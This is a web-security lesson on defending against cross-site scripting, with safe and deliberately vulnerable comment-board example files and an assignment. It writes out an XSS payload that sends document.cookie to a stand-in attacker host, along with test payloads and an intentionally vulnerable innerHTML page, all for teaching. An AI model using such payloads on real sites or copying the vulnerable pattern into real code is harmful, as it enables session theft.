Stage 5: Professional Skills

Web Security · Lesson 01

XSS Defense

innerHTML risks, output escaping and Content Security Policy.

Web Security3 min readFree lesson

Cross-site scripting is the most common serious web vulnerability. An attacker gets their JavaScript to run in your page, in your origin, with your users' sessions. Every defence comes down to one rule: never let untrusted data become markup.

Learning objectives

  • Distinguish stored, reflected and DOM-based XSS.
  • Escape output and choose safe DOM APIs.
  • Sanitise HTML when you genuinely need to render it.
  • Add a Content Security Policy as a second layer.

1. How it happens

<!-- the page renders a comment -->
<div id="comment"></div>
<script>
  const comment = "<img src=x onerror=\"fetch('https://evil.example/steal?c='+document.cookie)\">";
  document.getElementById("comment").innerHTML = comment;
</script>

The browser parses the string as HTML, the image fails to load, onerror runs, and the cookie is sent to the attacker. Three lines, full account takeover.

Stored XSS — the payload is saved (comment, profile, product review) and served to every visitor. Reflected XSS — the payload is in the request (search query, error message) and echoed back. DOM XSS — client-side code writes attacker-controlled data into innerHTML, eval, location, or a javascript: URL.

2. Escape on output

The context determines the encoding. HTML text, an attribute, a URL and a <script> block all need different escaping.

// text content — safe by construction
element.textContent = userInput;

// attribute — set the property, not a string of markup
link.href = safeUrl;
link.title = userInput;

// template rendering — escape every interpolation
function escapeHtml(value) {
  return String(value)
    .replaceAll("&", "&amp;")
    .replaceAll("<", "&lt;")
    .replaceAll(">", "&gt;")
    .replaceAll('"', "&quot;")
    .replaceAll("'", "&#39;");
}

Frameworks do this for you: React escapes {value} in JSX by default. dangerouslySetInnerHTML is named that way for a reason.

3. The dangerous sinks

Avoid these with untrusted data:

  • innerHTML, outerHTML, insertAdjacentHTML
  • document.write
  • eval, new Function, setTimeout("string")
  • element.setAttribute("onclick", ...)
  • href / src values starting with javascript:

If you must render HTML, sanitise it first with a maintained library such as DOMPurify:

import DOMPurify from "dompurify";

const clean = DOMPurify.sanitize(userHtml, { USE_PROFILES: { html: true } });
container.innerHTML = clean;

Sanitising is a last resort, not the first choice. Prefer storing plain text.

4. Cookies and tokens

res.cookie("session", token, {
  httpOnly: true,   // JavaScript cannot read it
  secure: true,     // HTTPS only
  sameSite: "lax",  // not sent on most cross-site requests
  maxAge: 7 * 24 * 60 * 60 * 1000,
});

httpOnly does not prevent XSS — the attacker can still act as the user in the page — but it prevents stealing the session token directly.

5. Content Security Policy

CSP tells the browser which sources may execute or load:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';

With script-src 'self', an injected inline <script> or onerror= handler does not run. Inline styles and scripts must be moved to files or allowed with a nonce/hash. Start in report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

6. Defence in depth

  1. Escape on output, by context.
  2. Use safe APIs (textContent, React).
  3. Sanitise rich HTML with DOMPurify.
  4. Set HttpOnly + Secure + SameSite cookies.
  5. Add CSP and X-Content-Type-Options: nosniff.
  6. Validate input on the server — not as the only defence, but as hygiene.

Common mistakes

  • Believing client-side validation prevents XSS (the attacker sends requests directly).
  • Escaping on input and storing the escaped string — double-encoding bugs and broken data.
  • Allowing script-src 'unsafe-inline' and calling it a CSP.
  • Trusting a javascript: URL because it came from your own database.

Practice

Fix the vulnerable comment board in the assignment. Then add a CSP and confirm the payload no longer executes.

Example files

Complete, runnable files used in this lesson. Copy them into your project and experiment.

xss-safe.htmlHTML
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>XSS 방어된 댓글 페이지</title>
    <!-- CSP 헤더를 meta 태그로 설정 (서버 헤더가 더 권장되지만 예제용) -->
    <!-- script-src 'self': 같은 도메인 스크립트만 허용 -->
    <!-- 실제로는 서버에서 Content-Security-Policy 헤더로 설정 -->
    <style>
        body { font-family: sans-serif; max-width: 600px; margin: 40px auto; padding: 0 20px; }
        .comment { border: 1px solid #ddd; padding: 12px; margin: 8px 0; border-radius: 6px; background: white; }
        textarea { width: 100%; height: 80px; padding: 8px; margin-bottom: 8px; border: 1px solid #ccc; border-radius: 4px; resize: vertical; }
        button { padding: 8px 16px; background: #2e7d32; color: white; border: none; border-radius: 4px; cursor: pointer; }
        button:hover { background: #1b5e20; }

        /* 안전 배너 */
        .safe-banner {
            background: #e8f5e9;
            border: 2px solid #4caf50;
            padding: 12px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-size: 0.9rem;
        }

        .comment-author { font-weight: bold; color: #333; margin-bottom: 4px; }
        .comment-text { color: #555; white-space: pre-wrap; word-break: break-word; }
        .comment-time { font-size: 0.8rem; color: #999; margin-top: 4px; }

        .defense-info {
            background: #f0f4ff;
            border: 1px solid #3f51b5;
            padding: 12px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-size: 0.85rem;
        }
    </style>
</head>
<body>

    <div class="safe-banner">
        ✓ <strong>안전한 버전</strong>: textContent와 이스케이프 처리로 XSS를 방어합니다.
    </div>

    <div class="defense-info">
        <strong>적용된 방어 방법:</strong><br>
        1. textContent 사용 (innerHTML 대신)<br>
        2. HTML 특수문자 이스케이프 처리<br>
        3. DOM API로 요소 생성 (template literal 미사용)
    </div>

    <h1>댓글 게시판 (안전한 버전)</h1>

    <form id="comment-form">
        <label for="comment-input">댓글</label>
        <textarea
            id="comment-input"
            placeholder="댓글을 입력하세요..."
            maxlength="500"
        ></textarea>
        <button type="submit">댓글 등록</button>
    </form>

    <h2>댓글 목록</h2>
    <div id="comments"></div>

    <!-- 테스트: 이 XSS 페이로드들이 실행되지 않아야 함 -->
    <!-- <img src=x onerror="alert('XSS')"> -->
    <!-- <script>alert('XSS')</script> -->
    <!-- 위 내용을 입력해도 텍스트로만 표시됨! -->

    <script>
        // ─────────────────────────────────────────
        // 방어법 1: HTML 이스케이프 함수
        // 특수문자를 HTML 엔티티로 변환하여 스크립트 실행 방지
        // ─────────────────────────────────────────
        function escapeHtml(str) {
            return String(str)
                .replace(/&/g,  '&amp;')   // & → &amp;
                .replace(/</g,  '&lt;')    // < → &lt;  (스크립트 태그 차단 핵심)
                .replace(/>/g,  '&gt;')    // > → &gt;
                .replace(/"/g,  '&quot;')  // " → &quot;
                .replace(/'/g,  '&#x27;'); // ' → &#x27;
        }

        const comments = [];

        document.getElementById('comment-form').addEventListener('submit', function(e) {
            e.preventDefault();

            const rawInput = document.getElementById('comment-input').value;
            const trimmed  = rawInput.trim();

            if (!trimmed) return;

            // 저장 전에도 길이 제한 (서버에서도 동일하게 해야 함)
            if (trimmed.length > 500) return;

            comments.push({
                text: trimmed,   // 원본 저장 (표시 시 이스케이프)
                time: new Date().toLocaleTimeString('ko-KR'),
                id:   comments.length + 1,
            });

            renderComments();
            this.reset();
        });

        function renderComments() {
            const container = document.getElementById('comments');
            container.innerHTML = ''; // 초기화

            if (comments.length === 0) {
                const p = document.createElement('p');
                p.textContent = '아직 댓글이 없습니다.';
                p.style.color = '#999';
                container.appendChild(p);
                return;
            }

            comments.forEach((comment) => {
                // ─────────────────────────────────────────
                // 방어법 2: DOM API로 요소 생성
                // innerHTML 대신 createElement + textContent 사용
                // textContent는 HTML을 파싱하지 않으므로 스크립트 실행 불가
                // ─────────────────────────────────────────
                const div = document.createElement('div');
                div.className = 'comment';

                const author = document.createElement('div');
                author.className = 'comment-author';
                // ✓ textContent: 어떤 입력이 와도 텍스트로만 처리
                author.textContent = `익명${comment.id}`;

                const text = document.createElement('div');
                text.className = 'comment-text';
                // ✓ 이스케이프 처리 후 innerHTML 사용 (또는 textContent 사용)
                // 여기서는 textContent가 더 안전
                text.textContent = comment.text;

                const time = document.createElement('div');
                time.className = 'comment-time';
                time.textContent = comment.time;

                div.appendChild(author);
                div.appendChild(text);
                div.appendChild(time);
                container.appendChild(div);
            });
        }

        // ─────────────────────────────────────────
        // 방어법 3: innerHTML을 꼭 써야 한다면 이스케이프 후 사용
        // ─────────────────────────────────────────
        function renderWithEscape(comment) {
            const div = document.createElement('div');
            div.className = 'comment';

            // 이스케이프 처리한 값만 innerHTML에 삽입
            div.innerHTML = `
                <div class="comment-author">${escapeHtml('익명' + comment.id)}</div>
                <div class="comment-text">${escapeHtml(comment.text)}</div>
                <div class="comment-time">${escapeHtml(comment.time)}</div>
            `;

            return div;
        }

        // 초기 렌더링
        renderComments();
    </script>
</body>
</html>
xss-vulnerable.htmlHTML
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>XSS 취약한 댓글 페이지 (학습용)</title>
    <style>
        body { font-family: sans-serif; max-width: 600px; margin: 40px auto; padding: 0 20px; }
        .comment { border: 1px solid #ddd; padding: 12px; margin: 8px 0; border-radius: 6px; }
        textarea { width: 100%; height: 80px; padding: 8px; margin-bottom: 8px; }
        button { padding: 8px 16px; background: #0066cc; color: white; border: none; border-radius: 4px; cursor: pointer; }

        /* 경고 배너 */
        .warning {
            background: #fff3cd;
            border: 2px solid #ffc107;
            padding: 12px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-size: 0.9rem;
        }
    </style>
</head>
<body>
    <div class="warning">
        ⚠ <strong>학습용 취약 코드</strong>: 이 페이지는 XSS 취약점을 보여주기 위한 예제입니다.
        실제 서비스에서는 절대 이렇게 구현하면 안 됩니다.
    </div>

    <h1>댓글 게시판 (취약 버전)</h1>

    <form id="comment-form">
        <textarea
            id="comment-input"
            placeholder="댓글을 입력하세요..."
        ></textarea>
        <button type="submit">댓글 등록</button>
    </form>

    <h2>댓글 목록</h2>
    <div id="comments"></div>

    <!-- ⚠ 아래 테스트 페이로드를 입력창에 붙여넣으면 XSS 발생! -->
    <!-- 테스트용 페이로드:
         <img src=x onerror="alert('XSS 발생! 쿠키: ' + document.cookie)">
         <script>alert('Stored XSS')</script>
         <svg onload="alert('SVG XSS')">
    -->

    <script>
        const comments = [];

        document.getElementById('comment-form').addEventListener('submit', function(e) {
            e.preventDefault();
            const input = document.getElementById('comment-input').value;

            if (!input.trim()) return;

            // ⚠ 취약점: 사용자 입력을 그대로 innerHTML에 삽입
            // innerHTML은 HTML을 파싱하므로 스크립트가 실행됨!
            comments.push(input);
            renderComments();
            this.reset();
        });

        function renderComments() {
            const container = document.getElementById('comments');
            container.innerHTML = ''; // 초기화

            comments.forEach((comment, i) => {
                const div = document.createElement('div');
                div.className = 'comment';

                // ⚠ 핵심 취약점: innerHTML에 사용자 입력 직접 삽입
                // 공격자가 <script>나 <img onerror>를 입력하면 실행됨
                div.innerHTML = `
                    <strong>익명${i + 1}</strong>
                    <p>${comment}</p>  <!-- ← 여기가 취약점! -->
                `;

                container.appendChild(div);
            });
        }
    </script>
</body>
</html>

Assignment

Assignment 01 — Safe comment board

Create safe-comment.html that renders user comments without XSS.

Requirements

  1. An input and a Post comment button.
  2. Comments are stored in an array and rendered into the page.
  3. Comment text is inserted with textContent or createElement — never innerHTML.
  4. A displayed comment showing <b>hello</b> must appear literally, not as bold text.
  5. A second, deliberately vulnerable version (xss-vulnerable.html) uses innerHTML, so you can see the difference. Test it only with harmless payloads such as <img src=x onerror="alert('xss')">.
  6. Add a CSP meta tag to the safe version:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'">
  1. Move the JavaScript to an external file so the CSP does not block inline script.

Hints

function renderComment(text) {
  const li = document.createElement("li");
  li.textContent = text;           // safe
  list.append(li);
}
// vulnerable — for comparison only
li.innerHTML = text;

Test payloads

<img src=x onerror="alert('xss')">
<script>alert('xss')</script>
<svg onload="alert('xss')">

Done when

  • The safe version shows every payload as text and never runs it.
  • The vulnerable version runs the onerror payload (confirm, then remove it).
  • With the CSP active, an inline <script>alert(1)</script> is blocked and the console reports the violation.
  • No user input reaches innerHTML in the safe version.
Show the reference solution

Try the assignment yourself first — comparing your attempt with a working solution is where most of the learning happens.

safe-comment.htmlHTML
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>XSS 방어 댓글 — 과제 정답</title>
    <style>
        body { font-family: sans-serif; max-width: 600px; margin: 40px auto; padding: 0 20px; }
        .field { margin-bottom: 12px; }
        label { display: block; font-weight: bold; margin-bottom: 4px; }
        input, textarea { width: 100%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; }
        textarea { height: 80px; resize: vertical; }
        button { padding: 8px 16px; background: #2e7d32; color: white; border: none; border-radius: 4px; cursor: pointer; }
        .comment-item { border: 1px solid #ddd; padding: 10px; margin: 8px 0; border-radius: 6px; background: white; }
        .comment-name  { font-weight: bold; color: #333; }
        .comment-text  { color: #555; white-space: pre-wrap; word-break: break-word; }
    </style>
</head>
<body>
    <h1>안전한 댓글 (XSS 방어)</h1>

    <div class="field">
        <label for="name">이름</label>
        <input type="text" id="name" placeholder="이름을 입력하세요" maxlength="50">
    </div>
    <div class="field">
        <label for="comment">댓글</label>
        <textarea id="comment" placeholder="댓글을 입력하세요" maxlength="500"></textarea>
    </div>
    <button onclick="addComment()">댓글 등록</button>

    <h2>댓글 목록</h2>
    <div id="comment-list"></div>

    <script>
        // ─────────────────────────────────────────
        // 방어법 1: HTML 이스케이프 함수
        // HTML 특수문자를 엔티티로 변환하여 스크립트 실행 방지
        // <script> → &lt;script&gt; 처럼 변환하면 태그로 인식되지 않음
        // ─────────────────────────────────────────
        function escapeHtml(str) {
            if (!str) return '';
            return String(str)
                .replace(/&/g,  '&amp;')   // & 먼저 처리 (순서 중요!)
                .replace(/</g,  '&lt;')    // 여는 태그 차단 — XSS 핵심 방어
                .replace(/>/g,  '&gt;')    // 닫는 태그 차단
                .replace(/"/g,  '&quot;')  // 속성값 내 따옴표 차단
                .replace(/'/g,  '&#x27;'); // 속성값 내 작은따옴표 차단
        }

        function addComment() {
            const name    = document.getElementById('name').value.trim();
            const comment = document.getElementById('comment').value.trim();

            // 필수 입력 확인
            if (!name || !comment) {
                alert('이름과 댓글을 모두 입력해주세요.');
                return;
            }

            const container = document.getElementById('comment-list');

            // ─────────────────────────────────────────
            // 방어법 2: DOM API로 요소 생성 + textContent 사용
            // createElement + textContent는 HTML을 파싱하지 않음
            // 어떤 입력이 와도 무조건 텍스트로만 처리됨
            //
            // 장점: 이스케이프 함수 없이도 안전
            // 단점: innerHTML보다 코드가 길어짐
            // ─────────────────────────────────────────
            const item = document.createElement('div');
            item.className = 'comment-item';

            const nameEl = document.createElement('div');
            nameEl.className = 'comment-name';
            // ✓ textContent: HTML 파싱 없음 → <script>도 그냥 텍스트
            nameEl.textContent = name;

            const textEl = document.createElement('div');
            textEl.className = 'comment-text';
            // ✓ 어떤 페이로드가 와도 텍스트로만 표시됨
            textEl.textContent = comment;

            item.appendChild(nameEl);
            item.appendChild(textEl);

            // 최신 댓글이 위에 오도록 prepend (insertBefore 활용)
            container.insertBefore(item, container.firstChild);

            // ─────────────────────────────────────────
            // [참고] 방어법 3: innerHTML + 이스케이프 조합
            // textContent 대신 innerHTML을 꼭 써야 한다면
            // escapeHtml()로 모든 값을 처리한 후 삽입
            // ─────────────────────────────────────────
            // const item2 = document.createElement('div');
            // item2.innerHTML = `
            //     <div class="comment-name">${escapeHtml(name)}</div>
            //     <div class="comment-text">${escapeHtml(comment)}</div>
            // `;
            // → 이스케이프된 값만 들어가므로 안전

            // 입력 초기화
            document.getElementById('name').value    = '';
            document.getElementById('comment').value = '';
            document.getElementById('comment').focus();
        }
    </script>
</body>
</html>

Learn this lesson with a mentor

Work through the Build Your Homepage series on your own, or join a guided cohort at our Pitampura campus and online.

Call NowEnroll Now